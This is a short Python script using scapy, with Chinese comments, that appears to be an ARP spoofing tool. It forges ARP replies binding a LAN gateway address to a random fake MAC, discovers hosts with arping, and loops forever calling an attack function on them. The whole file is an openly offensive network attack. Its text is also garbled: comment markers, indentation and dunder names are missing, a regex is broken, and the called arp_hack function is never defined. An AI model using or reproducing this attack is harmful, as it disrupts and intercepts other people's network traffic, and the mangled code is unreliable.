from scapy.all import ARP,send,arping

import sys,re,random,time

stdout=sys.stdout

ip

IPADDR="192.168.1.102"

网关

gateway_ip="192.168.1.1"

tmp=[]

伪造网关mac地址

for i in range(0,6):

tmp.append(str("%02x"%random.randint(0x01,0xfe)))

gateway_hw=':'.join(tmp)

p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)

def get_host():

得到在线主机的mac地址和对应ip地址

hw_ip = {}

sys.stdout = open('host.info','w')

arping(IPADDR)

sys.stdout = stdout

f = open('host.info','r')

info = f.readlines()

f.close

del info[0]

del info[0]

for host in info :

temp = re.split(r's+',host)

hw_ip[0]=temp[1]

hw_ip[1]=temp[2]

return hw_ip

if name == "main":

hw_ip = get_host()

while 1 :

arp_hack(hw=hw_ip[0],ip=hw_ip[1])